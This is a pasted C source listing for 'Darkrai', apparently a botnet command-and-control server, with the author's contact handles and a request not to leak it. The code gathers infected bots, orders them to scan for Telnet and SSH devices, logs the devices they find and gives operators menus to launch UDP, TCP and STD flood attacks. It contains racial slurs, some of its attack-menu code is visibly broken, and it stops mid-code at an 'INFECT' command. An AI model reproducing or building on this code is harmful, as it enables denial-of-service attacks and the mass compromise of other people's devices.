SHOW:
|
|
- or go back to the newest paste.
1 | /* | |
2 | Screen Usage: screen ./server [client-port] [threads] [cnc-port] | |
3 | Skype: b1narythag0d | |
4 | XMPP: b1nary@nigge.rs | |
5 | Made Date: 7-23-16 | |
6 | */ | |
7 | /* | |
8 | *** DO NOT LEAK THIS SHIT ITS PRIVATE AF *** | |
9 | ||
10 | # ___ __________ ____ _______ _____ _______________.___. ___ | |
11 | # / _ \_/\ \______ \/_ |\ \ / _ \\______ \__ | | / _ \_/\ | |
12 | # \/ \___/ | | _/ | |/ | \ / /_\ \| _// | | \/ \___/ | |
13 | # | | \ | / | \/ | \ | \\____ | | |
14 | # |______ / |___\____|__ /\____|__ /____|_ // ______| | |
15 | # \/ \/ \/ \/ \/ | |
16 | *** DARKRAI SERVER.C *** | |
17 | */ | |
18 | #include <stdio.h> | |
19 | #include <stdlib.h> | |
20 | #include <stdint.h> | |
21 | #include <inttypes.h> | |
22 | #include <string.h> | |
23 | #include <sys/types.h> | |
24 | #include <sys/socket.h> | |
25 | #include <netdb.h> | |
26 | #include <unistd.h> | |
27 | #include <time.h> | |
28 | #include <fcntl.h> | |
29 | #include <sys/epoll.h> | |
30 | #include <errno.h> | |
31 | #include <pthread.h> | |
32 | #include <signal.h> | |
33 | #include <arpa/inet.h> | |
34 | #define MAXFDS 1000000 | |
35 | ////////////////////////////////// | |
36 | struct login_info { | |
37 | char username[20]; | |
38 | char password[20]; | |
39 | }; | |
40 | static struct login_info accounts[10]; | |
41 | struct clientdata_t { | |
42 | uint32_t ip; | |
43 | char connected; | |
44 | } clients[MAXFDS]; | |
45 | struct telnetdata_t { | |
46 | int connected; | |
47 | } managements[MAXFDS]; | |
48 | struct args { | |
49 | int sock; | |
50 | struct sockaddr_in cli_addr; | |
51 | }; | |
52 | static volatile FILE *telFD; | |
53 | static volatile FILE *fileFD; | |
54 | static volatile int epollFD = 0; | |
55 | static volatile int listenFD = 0; | |
56 | static volatile int OperatorsConnected = 0; | |
57 | static volatile int TELFound = 0; | |
58 | static volatile int scannerreport; | |
59 | ////////////////////////////////// | |
60 | int fdgets(unsigned char *buffer, int bufferSize, int fd) { | |
61 | int total = 0, got = 1; | |
62 | while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; } | |
63 | return got; | |
64 | } | |
65 | void trim(char *str) { | |
66 | int i; | |
67 | int begin = 0; | |
68 | int end = strlen(str) - 1; | |
69 | while (isspace(str[begin])) begin++; | |
70 | while ((end >= begin) && isspace(str[end])) end--; | |
71 | for (i = begin; i <= end; i++) str[i - begin] = str[i]; | |
72 | str[i - begin] = '\0'; | |
73 | } | |
74 | static int make_socket_non_blocking (int sfd) { | |
75 | int flags, s; | |
76 | flags = fcntl (sfd, F_GETFL, 0); | |
77 | if (flags == -1) { | |
78 | perror ("fcntl"); | |
79 | return -1; | |
80 | } | |
81 | flags |= O_NONBLOCK; | |
82 | s = fcntl (sfd, F_SETFL, flags); | |
83 | if (s == -1) { | |
84 | perror ("fcntl"); | |
85 | return -1; | |
86 | } | |
87 | return 0; | |
88 | } | |
89 | static int create_and_bind (char *port) { | |
90 | struct addrinfo hints; | |
91 | struct addrinfo *result, *rp; | |
92 | int s, sfd; | |
93 | memset (&hints, 0, sizeof (struct addrinfo)); | |
94 | hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */ | |
95 | hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */ | |
96 | hints.ai_flags = AI_PASSIVE; /* All interfaces */ | |
97 | s = getaddrinfo (NULL, port, &hints, &result); | |
98 | if (s != 0) { | |
99 | fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s)); | |
100 | return -1; | |
101 | } | |
102 | for (rp = result; rp != NULL; rp = rp->ai_next) { | |
103 | sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol); | |
104 | if (sfd == -1) continue; | |
105 | int yes = 1; | |
106 | if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt"); | |
107 | s = bind (sfd, rp->ai_addr, rp->ai_addrlen); | |
108 | if (s == 0) { | |
109 | break; | |
110 | } | |
111 | close (sfd); | |
112 | } | |
113 | if (rp == NULL) { | |
114 | fprintf (stderr, "Could not bind\n"); | |
115 | return -1; | |
116 | } | |
117 | freeaddrinfo (result); | |
118 | return sfd; | |
119 | } | |
120 | void broadcast(char *msg, int us, char *sender) | |
121 | { | |
122 | int sendMGM = 1; | |
123 | if(strcmp(msg, "PING") == 0) sendMGM = 0; | |
124 | char *wot = malloc(strlen(msg) + 10); | |
125 | memset(wot, 0, strlen(msg) + 10); | |
126 | strcpy(wot, msg); | |
127 | trim(wot); | |
128 | time_t rawtime; | |
129 | struct tm * timeinfo; | |
130 | time(&rawtime); | |
131 | timeinfo = localtime(&rawtime); | |
132 | char *timestamp = asctime(timeinfo); | |
133 | trim(timestamp); | |
134 | int i; | |
135 | for(i = 0; i < MAXFDS; i++) | |
136 | { | |
137 | if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue; | |
138 | if(sendMGM && managements[i].connected) | |
139 | { | |
140 | send(i, "\x1b[33m", 5, MSG_NOSIGNAL); | |
141 | send(i, sender, strlen(sender), MSG_NOSIGNAL); | |
142 | send(i, ": ", 2, MSG_NOSIGNAL); | |
143 | } | |
144 | printf("sent to fd: %d\n", i); | |
145 | send(i, msg, strlen(msg), MSG_NOSIGNAL); | |
146 | if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m> \x1b[0m", 13, MSG_NOSIGNAL); | |
147 | else send(i, "\n", 1, MSG_NOSIGNAL); | |
148 | } | |
149 | free(wot); | |
150 | } | |
151 | void *BotEventLoop(void *useless) { | |
152 | struct epoll_event event; | |
153 | struct epoll_event *events; | |
154 | int s; | |
155 | events = calloc (MAXFDS, sizeof event); | |
156 | while (1) { | |
157 | int n, i; | |
158 | n = epoll_wait (epollFD, events, MAXFDS, -1); | |
159 | for (i = 0; i < n; i++) { | |
160 | if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) { | |
161 | clients[events[i].data.fd].connected = 0; | |
162 | close(events[i].data.fd); | |
163 | continue; | |
164 | } | |
165 | else if (listenFD == events[i].data.fd) { | |
166 | while (1) { | |
167 | struct sockaddr in_addr; | |
168 | socklen_t in_len; | |
169 | int infd, ipIndex; | |
170 | ||
171 | in_len = sizeof in_addr; | |
172 | infd = accept (listenFD, &in_addr, &in_len); | |
173 | if (infd == -1) { | |
174 | if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break; | |
175 | else { | |
176 | perror ("accept"); | |
177 | break; | |
178 | } | |
179 | } | |
180 | ||
181 | clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr; | |
182 | int dup = 0; | |
183 | for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) { | |
184 | if(!clients[ipIndex].connected || ipIndex == infd) continue; | |
185 | if(clients[ipIndex].ip == clients[infd].ip) { | |
186 | dup = 1; | |
187 | break; | |
188 | }} | |
189 | if(dup) { | |
190 | if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; } | |
191 | close(infd); | |
192 | continue; | |
193 | } | |
194 | s = make_socket_non_blocking (infd); | |
195 | if (s == -1) { close(infd); break; } | |
196 | event.data.fd = infd; | |
197 | event.events = EPOLLIN | EPOLLET; | |
198 | s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event); | |
199 | if (s == -1) { | |
200 | perror ("epoll_ctl"); | |
201 | close(infd); | |
202 | break; | |
203 | } | |
204 | clients[infd].connected = 1; | |
205 | send(infd, "!* TELNET_SCAN ON\n", 18, MSG_NOSIGNAL); | |
206 | send(infd, "!* SSH_SCAN ON\n", 15, MSG_NOSIGNAL); | |
207 | } | |
208 | continue; | |
209 | } | |
210 | else { | |
211 | int datafd = events[i].data.fd; | |
212 | struct clientdata_t *client = &(clients[datafd]); | |
213 | int done = 0; | |
214 | client->connected = 1; | |
215 | while (1) { | |
216 | ssize_t count; | |
217 | char buf[2048]; | |
218 | memset(buf, 0, sizeof buf); | |
219 | while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) { | |
220 | if(strstr(buf, "\n") == NULL) { done = 1; break; } | |
221 | trim(buf); | |
222 | if(strcmp(buf, "PING") == 0) { | |
223 | if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } | |
224 | continue; | |
225 | } | |
226 | if(strstr(buf, "REPORT ") == buf) { | |
227 | char *line = strstr(buf, "REPORT ") + 7; | |
228 | fprintf(telFD, "%s\n", line); | |
229 | fflush(telFD); | |
230 | TELFound++; | |
231 | continue; | |
232 | } | |
233 | if(strstr(buf, "PROBING") == buf) { | |
234 | char *line = strstr(buf, "PROBING"); | |
235 | scannerreport = 1; | |
236 | continue; | |
237 | } | |
238 | if(strstr(buf, "REMOVING PROBE") == buf) { | |
239 | char *line = strstr(buf, "REMOVING PROBE"); | |
240 | scannerreport = 0; | |
241 | continue; | |
242 | } | |
243 | if(strcmp(buf, "PONG") == 0) { | |
244 | continue; | |
245 | } | |
246 | printf("buf: \"%s\"\n", buf); | |
247 | } | |
248 | if (count == -1) { | |
249 | if (errno != EAGAIN) { | |
250 | done = 1; | |
251 | } | |
252 | break; | |
253 | } | |
254 | else if (count == 0) { | |
255 | done = 1; | |
256 | break; | |
257 | } | |
258 | if (done) { | |
259 | client->connected = 0; | |
260 | close(datafd); | |
261 | }}}}}} | |
262 | unsigned int BotsConnected() { | |
263 | int i = 0, total = 0; | |
264 | for(i = 0; i < MAXFDS; i++) { | |
265 | if(!clients[i].connected) continue; | |
266 | total++; | |
267 | } | |
268 | return total; | |
269 | } | |
270 | void *TitleWriter(void *sock) { | |
271 | int datafd = (int)sock; | |
272 | char string[2048]; | |
273 | while(1) { | |
274 | memset(string, 0, 2048); | |
275 | sprintf(string, "%c]0;BOT COUNT: %d| NIGGAS: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007'); | |
276 | if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return; | |
277 | sleep(2); | |
278 | }} | |
279 | int Find_Login(char *str) { | |
280 | FILE *fp; | |
281 | int line_num = 0; | |
282 | int find_result = 0, find_line=0; | |
283 | char temp[512]; | |
284 | ||
285 | if((fp = fopen("login.txt", "r")) == NULL){ | |
286 | return(-1); | |
287 | } | |
288 | while(fgets(temp, 512, fp) != NULL){ | |
289 | if((strstr(temp, str)) != NULL){ | |
290 | find_result++; | |
291 | find_line = line_num; | |
292 | } | |
293 | line_num++; | |
294 | } | |
295 | if(fp) | |
296 | fclose(fp); | |
297 | if(find_result == 0)return 0; | |
298 | return find_line; | |
299 | } | |
300 | void *BotWorker(void *sock) { | |
301 | int datafd = (int)sock; | |
302 | int find_line; | |
303 | OperatorsConnected++; | |
304 | pthread_t title; | |
305 | char buf[2048]; | |
306 | char* username; | |
307 | char* password; | |
308 | memset(buf, 0, sizeof buf); | |
309 | char botnet[2048]; | |
310 | memset(botnet, 0, 2048); | |
311 | char botcount [2048]; | |
312 | memset(botcount, 0, 2048); | |
313 | char statuscount [2048]; | |
314 | memset(statuscount, 0, 2048); | |
315 | ||
316 | FILE *fp; | |
317 | int i=0; | |
318 | int c; | |
319 | fp=fopen("login.txt", "r"); | |
320 | while(!feof(fp)) { | |
321 | c=fgetc(fp); | |
322 | ++i; | |
323 | } | |
324 | int j=0; | |
325 | rewind(fp); | |
326 | while(j!=i-1) { | |
327 | fscanf(fp, "%s %s", accounts[j].username, accounts[j].password); | |
328 | ++j; | |
329 | } | |
330 | ||
331 | if(send(datafd, "\x1b[30mUsername:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end; | |
332 | if(fdgets(buf, sizeof buf, datafd) < 1) goto end; | |
333 | trim(buf); | |
334 | char* nickstring; | |
335 | sprintf(accounts[find_line].username, buf); | |
336 | nickstring = ("%s", buf); | |
337 | find_line = Find_Login(nickstring); | |
338 | if(strcmp(nickstring, accounts[find_line].username) == 0){ | |
339 | if(send(datafd, "\x1b[30mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end; | |
340 | if(fdgets(buf, sizeof buf, datafd) < 1) goto end; | |
341 | trim(buf); | |
342 | if(strcmp(buf, accounts[find_line].password) != 0) goto failed; | |
343 | memset(buf, 0, 2048); | |
344 | goto Banner; | |
345 | } | |
346 | failed: | |
347 | if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end; | |
348 | char failed_line1[80]; | |
349 | char ascii_failed_line1 [80]; | |
350 | char ascii_failed_line2 [80]; | |
351 | char ascii_failed_line3 [80]; | |
352 | char ascii_failed_line4 [80]; | |
353 | char ascii_failed_line5 [80]; | |
354 | char ascii_failed_line6 [80]; | |
355 | char ascii_failed_line7 [80]; | |
356 | char ascii_failed_line8 [80]; | |
357 | char ascii_failed_line9 [80]; | |
358 | char ascii_failed_line10 [80]; | |
359 | char ascii_failed_line11 [80]; | |
360 | char ascii_failed_line12 [80]; | |
361 | char ascii_failed_line13 [80]; | |
362 | char ascii_failed_line14 [80]; | |
363 | char ascii_failed_line15 [80]; | |
364 | char ascii_failed_line16 [80]; | |
365 | char ascii_failed_line17 [80]; | |
366 | ||
367 | sprintf(ascii_failed_line1, "\x1b[31m / \ \r\n"); | |
368 | sprintf(ascii_failed_line2, "\x1b[31m |\_/| \r\n"); | |
369 | sprintf(ascii_failed_line3, "\x1b[31m |---| \r\n"); | |
370 | sprintf(ascii_failed_line4, "\x1b[31m | | \r\n"); | |
371 | sprintf(ascii_failed_line5, "\x1b[31m | | \r\n"); | |
372 | sprintf(ascii_failed_line6, "\x1b[31m _ |=-=| _ \r\n"); | |
373 | sprintf(ascii_failed_line7, "\x1b[31m _ / \| |/ \ _ \r\n"); | |
374 | sprintf(ascii_failed_line8, "\x1b[31m / \| | | | \ \r\n"); | |
375 | sprintf(ascii_failed_line9, "\x1b[31m| | | | | \ \r\n"); | |
376 | sprintf(ascii_failed_line10, "\x1b[31m| | | | | | \r\n"); | |
377 | sprintf(ascii_failed_line11, "\x1b[31m| - - - - |) ) \r\n"); | |
378 | sprintf(ascii_failed_line12, "\x1b[31m| / \r\n"); | |
379 | sprintf(ascii_failed_line13, "\x1b[31m \ / \r\n"); | |
380 | sprintf(ascii_failed_line14, "\x1b[31m \ / \r\n"); | |
381 | sprintf(ascii_failed_line15, "\x1b[31m \ / \r\n"); | |
382 | sprintf(ascii_failed_line16, "\x1b[31m \ / \r\n"); | |
383 | sprintf(ascii_failed_line17, "\x1b[31m | | \r\n"); | |
384 | ||
385 | sprintf(failed_line1, "\r\n\x1b[31mWRONG ANSWER BITCH!!\r\n"); | |
386 | ||
387 | if(send(datafd, ascii_failed_line1, strlen(ascii_failed_line1), MSG_NOSIGNAL) == -1) goto end; | |
388 | if(send(datafd, ascii_failed_line2, strlen(ascii_failed_line2), MSG_NOSIGNAL) == -1) goto end; | |
389 | if(send(datafd, ascii_failed_line3, strlen(ascii_failed_line3), MSG_NOSIGNAL) == -1) goto end; | |
390 | if(send(datafd, ascii_failed_line4, strlen(ascii_failed_line4), MSG_NOSIGNAL) == -1) goto end; | |
391 | if(send(datafd, ascii_failed_line5, strlen(ascii_failed_line5), MSG_NOSIGNAL) == -1) goto end; | |
392 | if(send(datafd, ascii_failed_line6, strlen(ascii_failed_line6), MSG_NOSIGNAL) == -1) goto end; | |
393 | if(send(datafd, ascii_failed_line7, strlen(ascii_failed_line7), MSG_NOSIGNAL) == -1) goto end; | |
394 | if(send(datafd, ascii_failed_line8, strlen(ascii_failed_line8), MSG_NOSIGNAL) == -1) goto end; | |
395 | if(send(datafd, ascii_failed_line9, strlen(ascii_failed_line9), MSG_NOSIGNAL) == -1) goto end; | |
396 | if(send(datafd, ascii_failed_line10, strlen(ascii_failed_line10), MSG_NOSIGNAL) == -1) goto end; | |
397 | if(send(datafd, ascii_failed_line11, strlen(ascii_failed_line11), MSG_NOSIGNAL) == -1) goto end; | |
398 | if(send(datafd, ascii_failed_line12, strlen(ascii_failed_line12), MSG_NOSIGNAL) == -1) goto end; | |
399 | if(send(datafd, ascii_failed_line13, strlen(ascii_failed_line13), MSG_NOSIGNAL) == -1) goto end; | |
400 | if(send(datafd, ascii_failed_line14, strlen(ascii_failed_line14), MSG_NOSIGNAL) == -1) goto end; | |
401 | if(send(datafd, ascii_failed_line15, strlen(ascii_failed_line15), MSG_NOSIGNAL) == -1) goto end; | |
402 | if(send(datafd, ascii_failed_line16, strlen(ascii_failed_line16), MSG_NOSIGNAL) == -1) goto end; | |
403 | if(send(datafd, ascii_failed_line17, strlen(ascii_failed_line17), MSG_NOSIGNAL) == -1) goto end; | |
404 | ||
405 | if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end; | |
406 | sleep(5); | |
407 | goto end; | |
408 | ||
409 | Banner: | |
410 | pthread_create(&title, NULL, &TitleWriter, sock); | |
411 | char ascii_banner_line1 [5000]; | |
412 | char ascii_banner_line2 [5000]; | |
413 | char ascii_banner_line3 [5000]; | |
414 | char ascii_banner_line4 [5000]; | |
415 | char ascii_banner_line5 [5000]; | |
416 | char ascii_banner_line6 [5000]; | |
417 | char ascii_banner_line7 [5000]; | |
418 | char ascii_banner_line8 [5000]; | |
419 | char ascii_banner_line9 [5000]; | |
420 | char ascii_banner_line10 [5000]; | |
421 | char ascii_banner_line11 [5000]; | |
422 | char ascii_banner_line12 [5000]; | |
423 | char ascii_banner_line13 [5000]; | |
424 | char ascii_banner_line14 [5000]; | |
425 | char welcome_line [80]; | |
426 | char banner_text_line1 [80]; | |
427 | char banner_text_line2 [80]; | |
428 | char banner_bot_count [2048]; | |
429 | memset(banner_bot_count, 0, 2048); | |
430 | ||
431 | sprintf(ascii_banner_line1, "\x1b[34m DDDDDDD AAAAAAAA RRRRRR KK K RRRRRR AAAAAAAA I \r\n"); | |
432 | sprintf(ascii_banner_line2, "\x1b[34mDDDDDDDDD AAAAAAAAAA RRRRRRRR KKK KK RRRRRRRR AAAAAAAAAA II \r\n"); | |
433 | sprintf(ascii_banner_line3, "\x1b[34mDDD `DDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III \r\n"); | |
434 | sprintf(ascii_banner_line4, "\x1b[34mDDD DDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III \r\n"); | |
435 | sprintf(ascii_banner_line5, "\x1b[34mDDD DDD AAAAAAAAAA RRR RRR KKK KKK RRR RRR AAAAAAAAAA III \r\n"); | |
436 | sprintf(ascii_banner_line6, "\x1b[34mDDD DDD AAAAAAAAAA RRR RRRR KKKKKKKKKK RRR RRRR AAAAAAAAAA III \r\n"); | |
437 | sprintf(ascii_banner_line7, "\x1b[34mDDD DDD AAA AAA RRRRRRRRR KKKKKKKKK RRRRRRRRR AAA AAA III \r\n"); | |
438 | sprintf(ascii_banner_line8, "\x1b[34mDDD DDD AAA AAA RRRR RRRR KKK KKK RRRR RRRR AAA AAA III \r\n"); | |
439 | sprintf(ascii_banner_line9, "\x1b[34mDDD DDD AAA AAA RRR `RRR KKK KKK RRR RRR AAA AAA III \r\n"); | |
440 | sprintf(ascii_banner_line10, "\x1b[34mDDD DDDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III \r\n"); | |
441 | sprintf(ascii_banner_line11, "\x1b[34mDDDDDDDDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III \r\n"); | |
442 | sprintf(ascii_banner_line12, "\x1b[34mDDDDDDDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III \r\n"); | |
443 | sprintf(ascii_banner_line13, "\x1b[34m AA RR RR KK KK RR RR AA II \r\n"); | |
444 | sprintf(ascii_banner_line14, "\x1b[34m A R R K K R R A I \r\n"); | |
445 | //Created By ~B1NARY~ | Skype: b1narythag0d | XMPP: b1nary@nigge.rs | |
446 | sprintf(welcome_line, "\r\n\x1b[34m[-] BOT COUNT: %d [+] Welcome, %s [+] Niggas %d [-]\r\n", BotsConnected(), accounts[find_line].username, OperatorsConnected); | |
447 | ||
448 | if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end; | |
449 | if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end; | |
450 | if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end; | |
451 | if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end; | |
452 | if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end; | |
453 | if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end; | |
454 | if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end; | |
455 | if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end; | |
456 | if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end; | |
457 | if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end; | |
458 | if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end; | |
459 | if(send(datafd, ascii_banner_line12, strlen(ascii_banner_line12), MSG_NOSIGNAL) == -1) goto end; | |
460 | if(send(datafd, ascii_banner_line13, strlen(ascii_banner_line13), MSG_NOSIGNAL) == -1) goto end; | |
461 | if(send(datafd, ascii_banner_line14, strlen(ascii_banner_line14), MSG_NOSIGNAL) == -1) goto end; | |
462 | if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end; | |
463 | while(1) { | |
464 | if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end; | |
465 | if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end; | |
466 | break; | |
467 | } | |
468 | pthread_create(&title, NULL, &TitleWriter, sock); | |
469 | managements[datafd].connected = 1; | |
470 | ||
471 | while(fdgets(buf, sizeof buf, datafd) > 0) | |
472 | { | |
473 | ||
474 | if(strstr(buf, "ATTACK")) | |
475 | { | |
476 | int choice; | |
477 | ||
478 | char ATTACK_MENU [2048]; | |
479 | ||
480 | char UDP_ATTACK [2048]; | |
481 | char UDP_ATTACK_MESSAGE [2048]; | |
482 | char UDP_ATTACK_IP; | |
483 | char UDP_ATTACK_PORT; | |
484 | char UDP_ATTACK_SEC; | |
485 | char UDP_ATTACK_SEND_COMMAND; | |
486 | ||
487 | char TCP_ATTACK [2048]; | |
488 | char TCP_ATTACK_MESSAGE [2048]; | |
489 | char TCP_ATTACK_IP; | |
490 | char TCP_ATTACK_PORT; | |
491 | char TCP_ATTACK_SEC; | |
492 | char TCP_ATTACK_SEND_COMMAND; | |
493 | ||
494 | char STD_ATTACK [2048]; | |
495 | char STD_ATTACK_MESSAGE [2048]; | |
496 | char STD_ATTACK_IP; | |
497 | char STD_ATTACK_PORT; | |
498 | char STD_ATTACK_SEC; | |
499 | char STD_ATTACK_SEND_COMMAND; | |
500 | ||
501 | sprintf(ATTACK_MENU, "[+] ATTACK OPTIONS [+]"); | |
502 | if(send(datafd, ATTACK_MENU, strlen(ATTACK_MENU), MSG_NOSIGNAL) == -1) goto end; | |
503 | do | |
504 | { | |
505 | sprintf(UDP_ATTACK, "[-] 1. UDP ATTACK\r\n"); | |
506 | sprintf(TCP_ATTACK, "[-] 2. TCP ATTACK\r\n"); | |
507 | sprintf(STD_ATTACK, "[-] 3. STD Attack\r\n"); | |
508 | ||
509 | if(send(datafd, UDP_ATTACK, strlen(UDP_ATTACK), MSG_NOSIGNAL) == -1) goto end; | |
510 | if(send(datafd, TCP_ATTACK, strlen(TCP_ATTACK), MSG_NOSIGNAL) == -1) goto end; | |
511 | if(send(datafd, STD_ATTACK, strlen(STD_ATTACK), MSG_NOSIGNAL) == -1) goto end; | |
512 | scanf("%d", &choice); | |
513 | ||
514 | switch(choice) | |
515 | { | |
516 | case 1: | |
517 | ||
518 | sprintf(UDP_ATTACK_IP, "IP: "); | |
519 | if(send(datafd, UDP_ATTACK_IP, strlen(UDP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end; | |
520 | scanf("%d", &UDP_ATTACK_IP); | |
521 | ||
522 | sprintf(UDP_ATTACK_PORT, "Port: "); | |
523 | if(send(datafd, UDP_ATTACK_IP, strlen(UDP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end; | |
524 | scanf("%d", &UDP_ATTACK_PORT); | |
525 | ||
526 | sprintf("Sec: ", &UDP_ATTACK_SEC); | |
527 | if(send(datafd, UDP_ATTACK_SEC, strlen(UDP_ATTACK_SEC), MSG_NOSIGNAL) == -1) goto end; | |
528 | scanf("%d", &UDP_ATTACK_SEC); | |
529 | ||
530 | sprintf(UDP_ATTACK_SEND_COMMAND, "!* UDP %d %d %d 32 0 10", UDP_ATTACK_IP, UDP_ATTACK_PORT, UDP_ATTACK_SEC); | |
531 | broadcast(UDP_ATTACK_SEND_COMMAND, datafd, "SENT"); | |
532 | if(send(datafd, UDP_ATTACK_SEND_COMMAND, strlen(UDP_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end; | |
533 | ||
534 | sprintf(UDP_ATTACK_MESSAGE, "UDP Attack Sent!"); | |
535 | if(send(datafd, UDP_ATTACK_MESSAGE, strlen(UDP_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end; | |
536 | ||
537 | continue; | |
538 | case 2: | |
539 | ||
540 | sprintf(TCP_ATTACK_IP, "IP: "); | |
541 | if(send(datafd, TCP_ATTACK_IP, strlen(TCP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end; | |
542 | scanf("%d", &TCP_ATTACK_IP); | |
543 | ||
544 | sprintf(TCP_ATTACK_PORT, "Port: "); | |
545 | if(send(datafd, TCP_ATTACK_PORT, strlen(TCP_ATTACK_PORT), MSG_NOSIGNAL) == -1) goto end; | |
546 | scanf("%d", &TCP_ATTACK_PORT); | |
547 | ||
548 | sprintf(TCP_ATTACK_SEC, "Sec: "); | |
549 | if(send(datafd, TCP_ATTACK_SEC, strlen(TCP_ATTACK_SEC), MSG_NOSIGNAL) == -1) goto end; | |
550 | scanf("%d", &TCP_ATTACK_SEC); | |
551 | ||
552 | sprintf(TCP_ATTACK_SEND_COMMAND, "!* TCP %d %d %d 32 all 0 10", TCP_ATTACK_IP, TCP_ATTACK_PORT, TCP_ATTACK_SEC); | |
553 | broadcast(TCP_ATTACK_SEND_COMMAND, datafd, "SENT"); | |
554 | if(send(datafd, TCP_ATTACK_SEND_COMMAND, strlen(TCP_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end; | |
555 | ||
556 | sprintf(TCP_ATTACK_MESSAGE, "TCP Attack Sent!"); | |
557 | if(send(datafd, TCP_ATTACK_MESSAGE, strlen(TCP_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end; | |
558 | ||
559 | continue; | |
560 | ||
561 | case 3: | |
562 | ||
563 | sprintf(STD_ATTACK_IP, "IP: "); | |
564 | if(send(datafd, STD_ATTACK_IP, strlen(STD_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end; | |
565 | scanf("%d", &STD_ATTACK_IP); | |
566 | ||
567 | sprintf(STD_ATTACK_PORT, "Port: "); | |
568 | if(send(datafd, STD_ATTACK_PORT, strlen(TCP_ATTACK_PORT), MSG_NOSIGNAL) == -1) goto end; | |
569 | scanf("%d", &STD_ATTACK_PORT); | |
570 | ||
571 | sprintf(STD_ATTACK_SEND_COMMAND, "!* STD %d %d %d", STD_ATTACK_IP, STD_ATTACK_PORT, STD_ATTACK_SEC); | |
572 | broadcast(STD_ATTACK_SEND_COMMAND, datafd, "SENT"); | |
573 | if(send(datafd, STD_ATTACK_SEND_COMMAND, strlen(STD_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end; | |
574 | ||
575 | sprintf(STD_ATTACK_MESSAGE, "STD Attack Sent!"); | |
576 | if(send(datafd, STD_ATTACK_MESSAGE, strlen(STD_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end; | |
577 | ||
578 | continue; | |
579 | ||
580 | ||
581 | }} | |
582 | while(choice !=3); | |
583 | } | |
584 | if(strstr(buf, "BOTS")) | |
585 | { | |
586 | sprintf(botcount, "BOT COUNT: %d | NIGGAS: %d\r\n", BotsConnected(), OperatorsConnected); | |
587 | if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return; | |
588 | continue; | |
589 | } | |
590 | if(strstr(buf, "STATUS")) | |
591 | { | |
592 | sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport); | |
593 | if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return; | |
594 | continue; | |
595 | } | |
596 | if(strstr(buf, "STATS")) | |
597 | { | |
598 | sprintf(botcount, "BOT COUNT: %d | NIGGAS: %d\r\n", BotsConnected(), OperatorsConnected); | |
599 | if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return; | |
600 | sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport); | |
601 | if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return; | |
602 | continue; | |
603 | } | |
604 | if(strstr(buf, "INFECT")) | |
